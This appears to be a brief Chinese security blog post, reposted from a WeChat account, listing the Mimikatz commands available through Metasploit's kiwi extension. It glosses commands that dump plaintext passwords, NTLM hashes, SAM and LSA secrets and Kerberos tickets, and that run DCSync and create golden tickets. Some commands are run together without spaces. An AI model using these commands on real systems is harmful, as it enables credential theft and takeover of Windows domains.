msf中的mimikatz

背景

Load Mimikatz

看不懂没关系，有谷歌翻译，有道翻译，实在不懂就挨个执行一下，加深印象。翻译如下：

• creds_all：             #列举所有凭据

• creds_kerberos：        #列举所有kerberos凭据

• creds_msv：             #列举所有msv凭据

• creds_ssp：             #列举所有ssp凭据

• creds_tspkg：           #列举所有tspkg凭据

• creds_wdigest：         #列举所有wdigest凭据(明文)

• dcsync：               #通过DCSync检索用户帐户信息

• dcsync_ntlm：           #通过DCSync检索用户帐户NTLM散列、SID和RID

• golden_ticket_create：  #创建金票

• kerberos_ticket_list：  #列举kerberos票据

• kerberos_ticket_purge：#清除kerberos票据

• kerberos_ticket_use：   #使用kerberos票据

• kiwi_cmd：              #执行mimikatz的命令，后面接mimikatz.exe的命令

• lsa_dump_sam：          #dump出lsa的SAM

• lsa_dump_secrets：      #dump出lsa的密文

• password_change：       #修改密码

• wifi_list：             #列出当前用户的wifi配置文件

• wifi_list_shared：      #列出共享wifi配置文件/编码

（1）    creds_all:如图，列举系统中的明文密码（显示明文与否与系统版本相关）

（2）    kiwi_cmd：这里是利用mimikatz的全部功能，后面是平时我们单独使用mimikatz的指令。

（3）    kiwi_cmdsekurlsa::logonpasswords

再列举几个mimikatz常用模块：

sekurlsa:

①sekurlsa::logonpasswords：抓取用户NTLM哈希

②sekurlsa::msv：提取ntlm hash凭证

③sekurlsa::minidumplsass.dmp

Sekurlsa::logonpasswords full：加载dmp文件，并导出明文密码

④sekurlsa::tickets /export导出lsass.exe进程中所有票据

Kerberos模块

①kerberos::list

Kerberos::tgt：列出系统中的票据

②kerberos::purge：清除系统中的票据

③kerberos::ptc [ticket-path]：导入票据到系统中

Lsadump模块

①lsadump::dcsync /domain:[domainname.com] /user:[username]：域控机器上执行，可查看指定域内的指定用户的详细信息。

②lsadump::lsa /patch：域控机器上执行，读取所有域用户的hash

③lsadump::sam /sam:sam.hive /system:system.hive：从sam和system文件中获得NTLMHash

④token::elevate

Lsadump::sam从本地SAM文件中读取密码Hash

后记

本文只是简单地回顾和分享了一下msf中的mimikatz的用法，更详细的实战用法将会在后面的文章中做分享。

原文始发于微信公众号（江离安全团队）：msf中的mimikatz